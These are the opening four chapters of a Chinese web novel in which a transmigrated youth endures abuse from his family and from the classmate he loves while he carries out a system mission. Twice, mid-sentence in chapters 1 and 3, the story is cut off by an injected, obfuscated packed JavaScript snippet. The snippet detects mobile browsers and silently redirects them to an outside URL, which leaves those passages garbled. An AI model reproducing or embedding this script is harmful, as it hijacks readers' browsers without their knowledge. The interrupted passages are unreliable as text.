《死遁后纨绔竹马黑化了》 1. 第 1 章 “登录成功……欢迎回到0714号小世界。” 系统默认的女声温和又亲切,若非微弱的电流声和卡顿,就真和活人无异。 深秋季节,天亮得晚,此时万籁俱寂,连下人洒扫的声音都听不到。 小厨房的门窗紧闭着,却朦朦胧胧透出灯火。 房中少年托着灯台,目光却洞穿烛火,看向某一处虚无。火光映在他眼下,照成很温柔的琥珀色。 他对着那片虚无开口,“查询体质值。” “宿主:谢璇衣;当前体质值:六十二点;状态:安康。” 尽管对方是一堆数据,但在习惯驱使下,他还是轻声道谢:“麻烦你了。” “不客气,宿主。” 谢璇衣关闭系统,眼神落在面前的糕点上。糕点被切成整整齐齐的方形,色泽雪白,深深浅浅地点缀着桂花,分外可口,看得出制作之人分外用心。 他就是为了这一盘糕点,用掉了唯一一次短暂脱离小世界的机会。 他在主系统空间恢复整整三天,才把体质值从四十点恢复到六十二点。 要不是上个月为了替沈适忻抄罚写受了风寒,他又毫不在乎一拖再拖,怎么会把八十点的体质掉到四十点。 还是他太不仔细了,要是再这么下去,不知道还能不能活到任务完成那天。 要是因为身体太差病死没完成任务,说起来还有些荒谬的可笑。 尽管在主空间待了三天,再次进入小世界时一切却如常,就连他先前做好的糕点都没冷掉。 看着那盘糕点,谢璇衣松了口气,内心涌上的喜悦作不得假。 他熬了几个通宵学沈适忻喜欢的糕点,会让他哪怕喜欢他一点吗? 趁着天还没亮,谢璇衣将糕点交给侍女阿简,回到卧房补觉。 即使加上前三夜,他也才睡了不到四个时辰,如今头一沾了枕头,就昏昏沉沉陷入梦境。 一觉到天光大亮,他是被阿简叫醒的。 意识还没回神,谢璇衣朦朦胧胧听到小丫头焦急地催促:“主子,您快醒醒,您方才还说要去与少爷小姐们游园……您还要给沈公子送点心呢!” 谢璇衣脑中惊雷一闪,猛然从榻上坐起来,“我睡过了,快快快,帮我拿点心来。” 阿简顾不得礼数,连忙跑去小厨房。 前一日穿的衣服皱皱巴巴没法看,谢璇衣快速换了身衣服,把头发束好,仍没见阿简回来。 谢璇衣皱了皱眉,快步走出院子。 刚一转身,就看到阿简被几个家丁围着,正跪在地上,脸颊红肿,手里还拼命护着那篮花糕。 “阿简。” 他心沉下去,连忙冲过去拉起小丫头,仔细打量一番,见对方伤势并不严重,才松了口气。 谢璇衣把阿简拉到身后,视线从阿简挪到对面,面前站着的是他同父异母的弟弟,谢秋芝。 谢秋芝的生母是妾室扶正,一向看不惯谢璇衣,谢秋芝自小被溺爱,又耳濡目染恶劣性子,对谢璇衣的蔑视和忌恨几乎从不遮掩。 但是像今日这般胆大还是头回。 谢秋芝见他还护着丫鬟,不耐烦地“啧”了声,恶人先告状,“谢璇衣,不就想吃你一块点心,看你这丫头目无礼数尊卑,非说什么‘主子让我千万护好’,看看,多不识抬举。” 谢璇衣看着一身富贵的谢秋芝,冷着脸挡在阿简面前:“是我让阿简护着的,倒是你,目无兄长,我看没有礼数的另有其人吧。” 谢秋芝娇养惯了,脾气自是一点就着,面色迅速涨红。 见对方攥紧了拳头,谢璇衣内心也有几分不安,指尖不自觉绷紧。 谢璇衣刚做好打架的准备,就见谢秋芝像泄了气似的,迅速低下头去,唤了声:“父亲。” 来不及反应,紧接着,谢璇衣就被人狠狠甩了一耳光。 “怎么,你还要打你弟弟?我看你是要反了天,你娘生出你这么个东西,还不如早些去死……” 来人正是他的父亲。 谢父出言不经细细思考,猛觉多言,匆忙止住话头。 先前威胁阿简的家丁早就一哄而散,只剩下垂着头,小人得志的谢秋芝。 谢璇衣近来本就体弱,又挨此无妄之灾,眼前一阵天旋地转。 他靠着围墙狼狈地站稳,本还想争论,唇动了动,还是无力地低下头,拱手低声道:“儿子知错了。” 算了,再熬一熬,他在这个小世界的时间不多了,总会过去的。 谢父在朝中受了一肚子气,正要找一处发泄,见谢璇衣这副软弱模样,拳头攥了攥,最终松开,只是瞪了他一眼。 “烂泥扶不上墙的东西,多学着点你弟弟,天天在外面厮混,也不知道学了什么东西。” 见谢璇衣毫无反应,谢父怒意上涌,忍着脾气一甩袖子,大步朝妾室的院子走去。 谢璇衣弓着身等到谢父离开。 脸颊上的红肿阵阵作痛,直到现在耳朵还隐隐嗡鸣,方才谢父的一番数落他几乎都没听清。 谢秋芝的表情扭曲又得意,狠狠朝他脚下啐了口,也快步离开了。 “主子,阿简对不起您……”小丫头跪倒在他身边,声音哽咽。 谢璇衣依然没能听清阿简的话,只能拍拍她的肩,温声道:“我床头的小柜里有消肿的药,你就着热水敷半个时辰。” 他心里有愧,让阿简摊上他这么一个窝囊主子,至于那些从系统里带来的药,是他为数不多能做的一些补偿了。 等到……等到他功成身退的那一天,就把卖身契还给她吧。 坐在马车上,他调出系统,“查询外伤恢复药品。” 女声立即回复道:“药品:玉真散,所需积分五点;生肌散,所需积分十点;金疮药,所需积分二十点。” 谢璇衣看着所剩无几的积分,垂下眼。 “兑换玉真……兑换生肌散一副,立即使用,谢谢。” 谢璇衣习惯买最便宜的药品,可是话到嘴边又生生止住,想,他是要去见沈适忻的,总不能太难堪。 用过药品,他面上的红肿消掉不少,却仍然能觉察到,可他没有办法,他没有再多的积分了。先前在主系统空间恢复体质值,已经用掉他大半积蓄了。 待他赶到游园会时,公子小姐们早就聚在一起说说笑笑,没有人注意到他。 谢璇衣一眼就在人群里看到沈适忻。 对方和一位贵女聊得酣畅,弯着眼睛微笑的模样几乎和他梦里一模一样。 他看到沈适忻,沈适忻也同样看见了他。 像是怕他听不到似的,对方说着话提高了音量:“是啊,谁能比得上我们谢大少爷有排面,怕不是在家里睡到日上三竿才起,也不怕惹人笑话。” 沈适忻父亲官至宰相,为人又风流潇洒,身边一向不缺追随的人,公子小姐们闻言,顿时漫长哄然大笑。 冰凉的话全部撞进耳中,谢璇衣头低下去,手里的篮子越攥越紧,消瘦的皮肉下骨节泛白。 已经六年了,其实早该习惯了,毕竟他一直都是这么过来的。 谢璇衣如众人料想一般毫无反应,只是自顾自在最角落的席位坐下。 旁人的席位上都摆着精致琉璃花瓶,瓶里的鲜花在深秋仍然娇艳欲滴,像是从不惧怕寒风。 只有他的桌面上空空荡荡,连一副碗筷都没有。 等到沈适忻身旁人都散开,三三两两欣赏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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终于有人忍不住,抓起最近桌上的花枝,狠狠砸到谢璇衣面上。 花枝并没什么力道,沈适忻微不可察地皱了下眉,慢条斯理对着那人道:“钱二少爷倒是阔绰。” 见沈适忻似笑不笑的表情,钱二连忙点头哈腰赔笑:“一时昏了头,沈公子莫怪、莫怪。” 他见沈适忻并无追责之意,又做足姿态,对着谢璇衣昂起头,竖起眉毛。 “听不到吗?还不快给沈公子道歉,求公子高抬贵手放过你?” “就是,按我说啊,就不该让这低贱之人踏进游园会,好好的一场秋游被搅成什么样子。” 谢璇衣不知道什么时候红了眼眶,又怕落下眼泪遭人嘲笑,只能低着头,慢慢睁大眼睛,直到眼眶酸疼,眼角几乎裂开一般痛。 明明……明明是沈适忻要他来的,明明是沈适忻要他做的。 明明应该已经习惯这样的口诛笔伐的。 耳朵的嗡鸣还未消退,又被猛烈一踹,他岌岌可危的体质值又掉到了及格线下。 似乎是意识的自我保护机制,谢璇衣只觉身旁的指责远在天边,隔着玻璃一般听不真切。 他恍恍惚惚,下意识还是抬头去看沈适忻。 只见对方笑意盎然,就连眼睛里也像是缀满了星子,闪闪发亮。 谢璇衣脑中闪过一丝苦涩的清明,突然领悟到什么,这一瞬间眼泪终于掉下来,不轻不重地砸在脚下的泥土里,被深秋的骄阳一晒,连湿润的痕迹都不剩下。 其实沈适忻一向不吝啬笑颜,只是从来不肯施舍给自己一些。 哪怕只是转瞬即逝的一点点而已。 2. 第 2 章 “说话啊,一直低着头做什么,泥地里还能有金子不成?” 最先说话的公子哥有些不耐烦,像是一拳打在棉花上毫无反应,不禁有些烦闷。 他穿过人群走到谢璇衣面前,强硬地掐着下颌抬起他的头,却像是突然发现什么,笑道:“我说怎么不抬头,怕不是嫌丢人吧。” 公子哥掰着谢璇衣的下颌,逼迫他转过头,面向所有人,“看他这弱不禁风的样,脸肿成这德行,怕不是卖的价钱没谈拢,被人打成这样吧。” 在场有不少未出阁的小姐,闻言一个两个转过头去,只有几个风月场上走过几遭的公子哥附和着笑了几声。 眼见即使这样谢璇衣也毫无态度,那公子哥顿觉无趣,将他推开,嫌恶地拿帕子擦了擦手,又带着几个公子小姐看东看西去了。 几个看他笑话的公子离开后,谢璇衣身边终于安静下来。 可还没等他从伤痛中缓过来,又见沈适忻慢慢走上前,捡起他做的那篮糕点,放到桌上,随后不由分说,一脚踹在他肩上。 似乎有些意外,沈适忻感觉自己几乎没用什么力气,谢璇衣就倒在地上。 谢璇衣本就连连受伤,此刻满身冷汗,一时说不出话。 “你不是很能辩吗,怎么那赵二说的一句都不反驳?”沈适忻踩在他手背上,略微加重力气,如愿听到谢璇衣小声的抽气,“该不会是被他说中了吧。” 沈适忻居高临下地看着他,先前的笑意尽数消散,只有眼里冷若寒霜。 “怎么,这么缺银子花吗?你那爹一个月的俸禄,还不够你吃穿用度?” “非要爬到别人榻上,求来一点银子才够花?” 谢璇衣说不出话,只能用尽全身力气摇摇头。 不是的,他不是这么没底线的人的,他怎么会爬别人的床呢。 沈适忻分明知道,他只喜欢他一个人的啊。 明明最开始的时候,也是对方先来招惹自己的,为什么被这样对待的是他呢。 见谢璇衣半天不开口,活像是具木偶人,谢璇衣拽着对方的衣领子,生生将人拽得半坐起来,却发现面前的人瘦得可怕,似乎不用什么力气就能将人推倒在地。 就像他刚刚做的那样。 而谢璇衣只是定定看着他,连眼神都有些空洞,像是透过他的发梢观赏着什么。 又像是对他的动作习以为常,失去了反应的意义。 他想起他们初见的样子。 那时候谢璇衣只是一个话剧表演有些天分的学生,没到出类拔萃的地步,也没到大展宏图的年纪,只是默默无闻地死在台风后掉落的广告牌下。 他没有什么知心好友,没有什么谈情说爱的经历,也不曾成为过任何人的骄傲。 他的二十年人生,比他的眼泪还单薄。 之后,他被选中,成为完成快穿任务的员工,笨手笨脚地进入这个小世界作为新手任务。 由于他的数值平淡得可怜,又没有一技傍身,就连为他提供攻略的系统都卡了壳。 “宿主……经过检测,宿主体质值超越76%员工,建议对任务对象贴身保护,寻找任务完成节点,为任务对象挡下致命一击。” 那是他第一次听到系统和蔼又温柔的声音。 “初次见面,宿主是否对本系统进行个性化配置?” 谢璇衣站在青石砖铺成的街道旁,身旁是车水马龙络绎不绝,却像是看不到他。他笨拙地看着系统的虚影,小声拒绝。 “不用了,我觉得这样就很好,谢谢你。” 像是生怕系统倏然消失,他又提高音量:“等一下!” 系统耐心询问:“宿主还有什么要求吗?” “如果我替任务对象挡刀,那,那我会死吗?” 那时谢璇衣的语气紧张又局促,系统的声音从四面八方传来,他甚至不知看向何处。 “不会。” 听到肯定的回复,谢璇衣终于松了口气。 世界在他面前慢慢凝实。 随即,高头大马在他面前急停,一下将呆滞的他拉回到现实中。 他没有听到车夫的骂娘,只看到小郎君鲜衣怒马,骨节分明的手指掀开朱红的繁复车帘,睁着一双墨黑色的眼眸朝他看过来,姿态恣意又潇洒。 “谁家的公子,站在大街正中,不怕被车马冲撞?” 那一瞬间,他似乎听到自己笨拙的心跳声。 那一年,小世界的他不过十六岁。 “说句话,费劲死了。” 下巴被人掐得生疼,谢璇衣从幻象里挣脱出来,猛然眨了眨眼,见沈适忻已经蹲下来,不耐烦地逼问他。 他非常轻微地摇了摇头,“我,我没有。” 沈适忻松开他的下巴,不冷不热地嗤笑一声,“你也不敢。你若是做得出这种事情,本公子必定亲自扒你一层皮,把你的芯子洗干净。” 他站起身,抽出一张帕子将手指一根根擦净,丢在谢璇衣面前的地上。 “洗干净,过几日学堂里还给我,要是连洗帕子这么简单的事都做不好,本公子就叫夫子把你赶出学府。” 他睨一眼谢璇衣,“听到了吗?” 单薄瘦弱的少年点点头。 谢璇衣以为今天的劫难终于结束,慢慢从地上爬起来,跌跌撞撞到一旁的凳子坐下。 正此时,从团团锦簇中钻出一条脏兮兮的黄狗,似乎是被谢璇衣的打扮吸引,围着他绕了几圈,威胁性地露出獠牙。 谢璇衣不敢贸然与恶狗作对,提着衣摆向后退了几步,紧张地看着黄狗。万一受伤,又要花积分疗伤,他囊中实在羞涩。 谁知沈适忻突然来了性质,对那狗“嘬嘬”两声吸引注意,抓起谢璇衣的糕点丢了出去。 糕点没入花丛,黄狗也飞扑过去,风卷残云。 谢璇衣怔然,一时忘记低眉顺首,面含震惊地看向沈适忻,只换来对方戏谑的嘲弄。 “怎么?你做的东西,也就值得拿去喂野狗了。” 沈适忻靠着栏杆,手里的狗尾巴草捻得飞快旋转,一小枝饱受折磨,垂头丧气地耷拉下来。 他看着瘦弱单薄的少年,眼眸里并无一丝怜惜。 “蠢死了,怎么一直都这么蠢。” - 谢璇衣强撑着回到家中,仔仔细细将院门别好。 “主子,您回来了,”见他回来,阿简眼前一亮,从树荫下起身,端着一杯热茶快步上前,“快喝杯茶暖暖身子。” 谢璇衣接过茶杯,嗅了嗅茶水清香,没有拂了小丫头的面子,一饮而尽。 “柜子里的药可用了?”他一面向房里走,一面问她。 阿简忙不迭道:“用了用了。” “主子的药和外面大夫开的都不一样,小巧精致,效果还特别好,主子当真是神仙一般的人物!” 见阿简欢欢喜喜的样子,谢璇 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也许是因为人都有恻隐之心,也许是因为一些微不足道的怜悯,也许最初只是转念一想,想要一个忠心的仆人。 只是他现在也不清楚,救下阿简一命,究竟是对对方更长久的折磨,还是做了好事一桩。 谢璇衣看着桌上井井有条的茶具。 都不是什么名贵器物,却仍然被人珍视着,洗得干干净净,没有分毫水渍,只有小茶盏里盛着温水。桌脚不平,即使细心的少女已经垫了木块,却还是有些摇晃,轻轻一动,杯中的温水就摇晃出丝丝涟漪。 他是一个连当好人都当不完全的人,但是他也当不成坏人。 像那些公子们的作为,就是顶顶坏的人,但是沈适忻不算在其中。 他只是……不那么喜欢自己而已。 谢璇衣看着少女吃完糖葫芦,才轻声道:“帮我备些温水沐浴吧。” 谢家人虽然待他不好,却似乎也怕传出去丢人,在最最基础的起居上不多苛待,起码热水还是能用得上。 谢璇衣慢慢脱掉身上的外袍。 他皮肤是不健康的苍白色,在黄色烛火的映照下才有了些暖意,双腿笔直又纤细。身上新伤叠着旧伤,青青紫紫连片,看得人心惊。 上午被沈适忻踹的地方似乎伤得有些重,原先没有什么感觉,想来是被感官屏蔽了,现在却连呼吸都有些丝丝缕缕的阵痛,像是牵连着四肢百骸,非要将疼痛都加倍讨要回来,一寸寸施加在骨血之上。 “系统,兑换玉真散一副,立即使用,”趁着四下无人,他压低了声音,悄悄叫系统,“也帮我查一下积分余额,辛苦了。” “已经为宿主兑换,药品生效中;宿主:谢璇衣,积分余额:十点,评价:囊中羞涩。请宿主努力完成任务,赚取积分。” 谢璇衣低低叹了口气。 随着药品生效,他身上的淤青慢慢消减几分,旧时的伤处几乎消失不见,可腹部和后腰的疼痛仍然尖锐,似乎全无作用。 似乎是觉察到谢璇衣的不解,系统又出现:“玉真散级别过低,仅对宿主基础创伤生效。宿主如需治疗中度、重度创伤,请兑换更高级药品。” 原来沈适忻那一脚用了不小的力气。他泡在氤氲雾气中,断断续续地想,原来沈适忻当真这么讨厌他。 但他没有别的办法了。 他已经没有办法不喜欢沈适忻了。 3. 第 3 章 眼见谢璇衣许久没有动静,阿简有些不安,轻轻敲了敲他的房门。 “主子,您好了吗?” 少年人声音有些闷,不知是隔着木门的缘故,或是他一向说话声很轻。 除去今日对小少爷发怒之外,阿简没听过他大声说话。 “好了,进来吧。” 阿简在门外局促不安,得了准令才松了口气,轻手轻脚走进房间。 谢璇衣套着白色的寝衣,发梢末尾还滴着水,眉眼间笼罩着潮湿的气息。 秋冬季节,天黑得一向早,谢璇衣简单用过晚膳,天便已黑透了,浓墨一般的夜色里盖着厚重的白云,像是刮刀涂在天幕的油画笔触,无端看得人心里沉沉。 在他吃饭的功夫,阿简已经替他擦过头发,此时清爽地垂落在肩头,黑绸缎一般,阿简从背后默默看着,很有成就感,不自觉挺直了身子,面上露出淡淡笑意。 “怎么这么高兴,白天瞧见什么了?”见她开心,谢璇衣心情也好了不少,拍了拍他身旁的空椅,“别忙活了,先坐下吃饭。” 阿简的笑意立刻被局促代替,红着脸摆了摆手,“这,这怎么能,奴婢毕竟是下人。” “你又这么自称了,”谢璇衣叹了口气,“你坐下,就当是我的命令。” 他刚救下阿简的时候,小姑娘鬓发散乱,红着眼睛朝他扑通跪下就要磕头,吓得他匆忙去拉,险些害得自己也摔一跤。 他一直试图改变阿简的习惯,可惜效果不佳。 谢璇衣已经说得强硬,阿简再推辞不能,只得忐忑地坐下,夹了几筷子菜,食不知味。 像是怕主子对她的表现不满意,在谢璇衣看过来之前,阿简抢先一步,主动挑开话题。 “主子,阿简今日听管事说,过几日宫里要设宴呢,听说南疆与北漠都会派使者来赴宴。” 谢璇衣果然感兴趣,盛了小半碗青菜汤,同时问她:“北漠?” “是呢,听说北漠人粗犷不拘,个头也高大,不知是真是假,”阿简扯着话题,悄悄放下手里的筷子,“主子见过北漠人吗?” 谢璇衣早注意到她的小动作,却没有多言,而是顺着她的思路思考起来。 阿简的问题,他还真不好回答。 谢璇衣现代的故乡在东南一处城市,从未北上。高中时期倒是有几位从帝都来的同学,大概也不能算这种定义下的北方。 “没见过。”他摇了摇头。 “也是,主子与外人接触也少,”阿简不免几分遗憾,“奴……阿简倒真想看看北漠的风土,是不是像话本里写的那般,地无垠沙如雪。” “会有机会的。” 谢璇衣轻声道。听在阿简耳中,只当作一句安慰,笑了笑便过去了。 谢璇衣漱过口,正准备去书房看几卷书,忽然听到院外拍门声,示意阿简去开门。 来人是谢父身边的丫鬟姑采,府里早有风雨四起,似乎谢父有意纳其为妾,饶是谢璇衣不在意八卦,也难免听了些谣言或是传言。 谢璇衣看着阿简带她走进来,一时并未起身,静静地等待对方开口。 分明还未立冬,姑采却已穿上月白色小褂,领边滚了圈绒毛,看着很是夸张,甚至比谢璇衣的衣裳还要新几分。 她很草率地向谢璇衣行过礼,道:“老爷命奴婢来请少爷到前厅一叙。” 谢璇衣起身,第一句话却没有对姑采说,“阿简,你留在房里便好,想来账上入不敷出,你衣裳单薄,若是染了风寒,恐怕得不偿失。” 听了他这一通话,姑采面上闪过一丝尴尬之色,讪笑道:“少爷玩笑了,奴婢这就去催催冬衣,晚些时候便送到少爷院里。” 听到她打过包票,谢璇衣露出后知后觉似的笑容,“那便有劳姑娘了。” 夜里风的确大了,阿简为他找了件厚褂子。 谢璇衣走到前厅的功夫,□□枯脆黄的叶片砸了五六回。怕被谢父骂邋遢,他停在堂外整理衣着,恰好听到厅中的对话声。 乍一听,他还以为是谢秋芝,仔细一分辨却有不同,是很陌生的男声,他应当从未见过这人。 谢璇衣一时听不出所以然,只得先进堂内,恰好见那说话的陌生男人疾步向外走,两人险些撞个满怀。 “毛手毛脚,这么多年还是这么不成气候。” 谢父坐在正中,见了谢璇衣,眉毛立即拧紧,险些将手里的茶杯砸过来。 “哎呀老爷,璇衣这孩子忙于学业,如此操劳,一时失神也是难免。” 谢璇衣向谢父行礼时,才瞧见一旁坐着的美艳女人。 这是他名义上的母亲,谢秋芝的生母,孙淑娘。 孙淑娘三言两语间,就把责任都推到了谢璇衣头上,肉眼可见的,谢父的表情更加不悦。 然而,谢父却并没有在这件事上下功夫,很快转移了话题,“以后注意便是。” 孙淑娘的笑意淡了些,却还是拎着茶壶,尽职尽责地为丈夫续上茶水。 “与你一同念书的赵家小子,你可了解?” 谢父直入正题。 赵家这一辈只有两个儿子,长子早已成婚。对方所谓的“赵家小子”,恐怕就是白日里污蔑他的那位二公子。 谢璇衣一时不知谢父的想法,很轻微地摇了摇头,“仅仅是同窗,见过几面罢了。” “哼,同窗,”谢父重复了一遍,抬起被眼皮褶遮住的眼珠子,“那沈家小子与你也仅仅是同窗,为何念念不忘?” 谢璇衣被他的话堵住,一时答也不是不答也不是。 谢父重重把茶杯砸在茶几上,孙淑娘眼看着,立刻伸手抚了抚丈夫手背。 “以后少与沈家小子往来,多与赵家人亲近些。” 谢璇衣低着头没吭声。 谢父这话什么意思,他又不是看不明白。赵家老爷官居六品,与谢父又同属户部,恐怕他这父亲早就不满于做个小小的笔帖式,想要靠他搭上赵家。 可是细细一想,他又不免觉得荒谬可笑。 “哎呀璇衣,母亲知道你为沈公子痴心一片,可是老爷都这么说了,也多为家里考虑些,别拉着脸了。” 孙淑娘生怕他不反抗,迫不及待地浇油。 谢父果然被孙淑娘带跑,言带威胁,“谢璇衣,你可想清楚到底该如何做,你胡闹五年十年,沈家小子也要成婚的。” “吴家女儿早对那小子暗生情愫,不久便要及笄,恐怕沈家下聘也不过下月的事。” 谢璇衣眼皮跳了跳,却知道谢父说的是实话。 吴家老爷官任礼部尚书,吴家与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16099281|179785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈家联姻,几乎是板上钉钉事情。 “儿子……儿子知道了。” 谢璇衣挣扎片刻,低声道。 两情相悦也好,政治联姻也罢,反正都与他无关。 他是沈适忻招来挥去的乐子,是无才无德的笑柄。也是一个死性不改的傻子。 原来沈适忻真的如此聪慧,早就看透他是一个愚昧不堪的傻子。 眼见谢璇衣答应,谢父与孙淑娘两人都肉眼可见地松了口气。 谢父清了清嗓子,“秋芝,你哥哥一人来的,你送他回院子。” 谢璇衣这才注意到谢秋芝也在。 对方虽然有一瞬间不甘,却不敢违抗,咬了咬牙应下:“是。” 谢璇衣离开时,仍然只拎着自己带来那盏灯笼。他披着的外衣有些厚,料子也较为挺阔,显得人更纤细伶仃。 暗黄的灯光飘飘洒洒,只有一小片映在他面上,像是话本里的灵魅一般,单薄得几乎透明。尽管如此,他的头发却生得极好,披在肩上,一时有些模糊性别的空蒙。 谢秋芝一时不敢也不愿与他并行,远远跟在后面。 听到谢璇衣的脚步声,阿简飞快地迎上来,仔仔细细将他周身检查一遍,没看见伤痕,提着的心才放下。 她没注意到远远跟着的谢秋芝,一面接过灯笼一面问:“主子,刚刚有丫头来问,主子带回来那块雪青色的帕子,要丢掉吗?” “不可,”谢璇衣惶恐地摇了摇头,反而抓住阿简的手腕,连音量也没控制住,“把它拿来给我,莫要丢掉或是揉皱了,现在就去,动作快些。” 阿简也没见过谢璇衣这副神情,被感染得有些慌了神,“主子……” 谢秋芝慢慢走过来,刚好见谢璇衣慌神的模样,内心莫名的恐惧被抛掷脑后,恢复平日里恶劣的性子,“哟,谢璇衣,前脚才答应爹,后脚就和丫鬟拉拉扯扯,你还是个男人吗?” 谢璇衣后知后觉松开阿简的手腕,面上煞白一片,极力牵起嘴角勉强道:“抱歉,阿简,我不是故意的……你别放在心上。” 阿简怎么敢放在心上,只是立即挡在谢璇衣面前,紧张而警惕地看着谢秋芝。 谢秋芝摸了摸下巴,哼哼两声,留了句“小爷没心情收拾你”,不知说给谁听。 他长得与谢父不像,更像他母亲孙淑娘,只是并没有继承到对方的优点,又不如谢璇衣清瘦,这副架子颇似路边的混混。 谢秋芝一番挤眉弄眼并没有什么杀伤力,谢璇衣却还是幽魂似的。 阿简生怕帕子找不见,几乎是用跑的取来,装在匣子里递给谢璇衣瞧。 她小心翼翼,下意识跪在他面前,唯恐再触到主子什么伤心事,轻声询问,“主子,奴婢去帮您清洗吧?很快的。” 哪知谢璇衣并没有搭话,只是轻轻收起那块手帕,又轻轻摇了摇头,“不必了,我自己洗就好。” 阿简看不懂主子的神情,只知道对方心情不好,却不知哀伤的缘由。 谢璇衣拉她起来,轻轻拍了拍她膝上的灰。 灰尘散在空气里,雾蒙蒙一片,很快不知去处,也不知何时降落,也许永不降落。他却不能再看见了。 他只是一粒卑贱的灰尘。 他什么也改变不了,却永远在痴心妄想。 4. 第 4 章 阿简最终拗不过对方,任由谢璇衣亲自盛水洗净了帕子。 她生怕谢璇衣伤到自己,虽然没亲自上手,却也寸步不敢离。 哪知谢璇衣清洗的手法无比娴熟,用不到她任何指导,甚至连防止绸子这种娇贵料子变形都考虑到了,动作无比轻柔。 阿简靠着月洞门框站着,谢璇衣蹲在她不远处的月光下。 有时候她觉得,自家主子好像不属于这个世界,他太单薄了,血肉之躯并不贴合。 “阿简,”蹲在地上的少年突然唤他,“父亲那边要来人了,你带两个小丫头去接一下。” 阿简不明所以,又想到先前主子与姑采的对话,顿时了然,“哦哦,这就去。” 待她和其他两个小丫鬟带着一大堆衣裳日用回来,再去找主子时,谢璇衣早就收拾好,晾上帕子回房了。 湿润的手帕被风吹得微微晃,掀动着晶莹滴水的边角,银杏叶绣花的纹理颜色发深,从金黄泛着土色。 这张手帕用料精细,刺绣之人的品味却不怎么好,在浅紫色上绣银杏,不知是怎么一种恶趣味。 谢璇衣在窗边望着晃动的手帕,不知思绪飘到何处,最终如梦初醒般抽了抽手指,合上窗子安寝。 次日要去学堂,谢璇衣很早便起了。 这倒是与旁人无关,头等大事是上午的考核。考核的性质介于月考和期中考之间,按各类标准评为甲乙丙丁四等,甲乙丙三等考核后不久便可放冬假,等到来年立春再回来,丁等则需要再重学几日,比前三等晚放假两旬。 他很怕自己考倒数,倒是与脸面之类的关系不大,只是被禁锢在学校里,恐怕会影响完成任务。 更何况现在离截止日越来越近了,他难免有些草木皆兵。 他看了会书,却觉得恍惚,总归记得少忘得多,却总归到了学堂门口。正瞧见沈适忻下了马车,准备往里走。 谢璇衣手里抓着匣子,原地踌躇片刻,却还是咬牙追了上去叫住对方。 “沈……沈公子,帕子。” 他小心翼翼将匣子递过去,不敢直视对方,无所适从地看着对方花纹繁复精美的衣襟。 沈适忻从匣子里拎起手帕,抖开看了看,表情似笑非笑:“你自己洗的?” 谢璇衣从小被教导回话要看人,闻言下意识抬头与他对视,却又匆忙移开视线,声音放得极低:“是。” 他紧张之余,甚至短暂出神,想,怪不得吴家小姐心悦对方,非他不嫁。 沈适忻生得极好,五官立体,面部线条却很流畅,并不似谢璇衣曾在电视上见过的欧美明星那般深邃,却更填几分少年气。他右眼眼下有一颗非常不明显的小痣,是淡淡的棕色,垂眼时很容易隐藏在纤长睫毛的阴影里。 谢璇衣曾经恳求系统,帮他打印过一张拍立得,照片上是少年人与友人相谈甚欢的笑容,他一看就心酸得要命,却还是上瘾般忍不住去看。 他从容貌到身材,甚至连家世都无可挑剔。 这样完美的人,对旁人似乎有十足的耐心,却唯独把所有的不耐与恶意留给了自己。 还没回神,柔软而冰凉的帕子被丢回手上,他有些措手不及,茫然地看向锦衣少爷。 “真蠢,谁会要脏过的帕子。” 谢璇衣不知道从哪里来的勇气,大着胆子道:“可是,可是我已经洗干净了……” “脏了就是脏了,扔了便是,”沈适忻冷笑一声,再不看他,转身走进前院,“洗它作甚。” 谢璇衣呼吸窒了一瞬,嘴唇颤了颤,一句话也没说出来。 - 待到夫子发过纸笔,秋考终于开始。 纵然谢璇衣尽力用心去学,可生涩的古文和陌生的文字却始终是一大阻碍,他上学时成绩并不是顶尖,更遑论古代小世界。 他极力辨认晦涩的繁复笔划,反复斟酌才敢落笔。 纸上的字体不似写惯软笔所为,字体圆润,笔划分明,幼稚却并不算丑。 他刚艰难写满问答题,夫子便亲自下来收纸笔。 宣纸带着自然的鹅黄色,落墨之处带着湿润又干燥后的皱起。 恰好沈适忻坐在他前面,在收纸时恰好掠见对方的字迹。字如其人,沈适忻的字也像他本人一样,飘逸流利,带着恰到好处的从容。 大概是他一辈子也学不来的。 他们的试题是张大卷子,一次涵盖了绝大部分学习内容,类似于他高中时的文综理综,结束时已经临近正午,疲惫的公子小姐们打着哈欠,三两结队去用午膳。有人暗自懊恼神伤,也有人皱着眉嘀嘀咕咕,似乎是对题目不满。 谢璇衣并没有再自寻烦恼,安安静静吃过午饭,等待下午的课业。 为学生们讲授四书的夫子说话一向不留情面,今日更甚。 谢璇衣与一众公子小姐们行礼时,就隐隐感觉到夫子的目光在他面上逡巡,却又不是善意的打量。 像是验证他心中所想一般,夫子刚就事论事地点评了一番整体情况,就话锋一转,苍老而微松垮的眼皮下,瞳仁黑沉沉地盯着谢璇衣。 “……只是,这位谢小公子,看来并未将老夫的话放在心上。” 同窗们不敢出声,揶揄的眼神却集中在他身上,表情微变。谢璇衣一头雾水,不知所措地看向夫子。 “恕学生不知,夫子字字句句,学生从来熟记在心,不敢怠慢。” 夫子显然不满这番客套话,“哼,当真?既如此,小谢公子为何行笔粗俗丑陋,想来平时从未认真临摹过前人碑帖书法。” 被当众骂字丑,谢璇衣一时无奈又尴尬。 没办法,他小时候从没学过书法,硬笔字都谈不上优美,更别提软笔了。更何况,他进入小世界已经十六岁了,比起孩童,练字的时间确实不多。 见谢璇衣连辩驳的勇气都没有几分,夫子越发气不打一处来,将那几张薄薄的宣纸随手一丢。 淡色的黄麻宣像几只褪色的白蝶,翩翩打着旋,落在地上。 